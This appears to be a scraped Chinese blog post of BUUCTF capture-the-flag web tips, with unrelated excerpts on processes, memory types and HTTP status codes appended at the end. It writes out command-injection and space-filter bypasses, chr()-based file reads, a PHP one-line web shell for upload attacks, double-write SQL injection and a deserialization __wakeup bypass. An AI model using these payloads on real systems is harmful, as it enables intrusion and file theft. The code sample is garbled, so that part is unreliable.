BUUCTF Web題基本知識點和解題思路(1)

2021-10-10 23:34:43 字數 1551 閱讀 4472

url裡出現了類似於/?ip=這樣的引數,可以首先嘗試命令注入,如?ip=127.0.0.1, ?ip=127.0.0.1;ls, ?ip=127.0.0.1;cat flag.php,通過執行注入命令獲取到flag的資訊。注意:如果**對空格進行了過濾,則可以使用其他方法進行繞過,如拼接繞過:?ip=127.0.0.1;b=lag;a=f;cat$ifs$a$b.php命令注入127.0.0.1;ls,如果發現當前目錄沒有flag檔案時,可以去上級目錄檢視,一步步的深入

遇到有waf的頁面,可以嘗試構造引數繞過,如? num=phpinfo(),注意:?和num之間有空格(注意:safari瀏覽器可能會過濾空格,將空格進行url編碼為%20即可;如果「/」被過濾了,可以使用chr(47)來繞過,進行目錄讀取:如?%20num=var_dump(scandir(chr(47))),接著在進行檔案內容的讀取:?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)

題目中如果遇到了類似於一句話木馬的語句如eval($_post[「syc」]);,可以先嘗試使用蟻劍antsword進行連線,連線密碼即為syc,在**的目錄中查詢flag檔案

當乙個**說有備份**時,可以先嘗試經常使用的檔名,如www.zip,在嘗試無果之後,可以使用dirsearch指令碼進行目錄掃瞄,使用方式:./dirsearch.py -u 指定url -e php。

php序列化和反序列化問題,先序列化才能反序列化,可以根據php的源**對其進行序列化,首先要根據class中的引數,建立乙個物件,然後在通過serialize()函式對其進行序列化。在完成序列化之後,更改字串中的物件個數(表示屬性的個數要大於真實屬性的個數),來繞過wakeup()函式。注意:由於在php**中username和password都是私有變數,因此要在字串中的類名前後,也就是name前後加上%00。最後,在得到最終的反序列化字串之後,在url的最後加上 /?select=序列化的內容,如果執行後沒有頁面顯示,建議再手輸一遍。實現序列化**類似於如下所示:

<?php

class

name$a=

newname

('admin'

,100);

$b=serialize($a

);echo$b;

>

sql注入的問題,當嘗試了萬能密碼和常用的sql注入語句時,可以嘗試雙寫,如:oorr, ununionion。語句類似於:1』 ununionion selselectect 1,2,database()#

遇到檔案上傳漏洞的題目,可以先嘗試更改檔名,如果常見的檔名不行的話,可以改為.phtml字尾。之後,便是嘗試一句話木馬,如<?php @eval($_post["shell"]); ?>, 通過burpsuite攔截抓包後上傳。上傳失敗的話,根據返回資訊來判斷,可能是對php的內容進行了過濾,可以將之前的**改為,然後繼續上傳。上傳成功之後,可以用蟻劍進行連線,猜測上傳路徑位upload,即/upload/1.phtml

backup備份問題,首先嘗試index.php.bak

基本知識點

1 程序和執行緒的關係 1 在有執行緒的作業系統裡面,程序是分配資源的基本單位,執行緒是排程的基本單位。2 1個程序可以擁有多個執行緒 3 執行緒同時也有一些自己的資源,包括 程式計數器,堆疊等 4 因為執行緒所擁有的資源比較少,因此進行排程的時候所消耗的資源就少。5 執行緒共享程序的 段,程序的一...

基本知識點

dram 動態隨機訪問儲存器 dynamic random access memory 隨機訪問的意思是,訪問任何乙個記憶體單元的速度和它的位置 位址 無關,讀寫位址0x00001和0xffff0所需要的事件是一樣的。rom 唯讀儲存器 read only memory 它的內容是預先寫入的,掉電也...

PHP基本知識點

1.http協議中幾個狀態碼的含義 503 500 401 200 301 302。http狀態碼 1 請求收到,繼續處理 2 操作成功收到,分析 接受 3 完成此請求必須進一步處理 4 請求包含乙個錯誤語法或不能完成 5 伺服器執行乙個完全有效請求失敗 500 伺服器產生內部錯誤 501 伺服器不...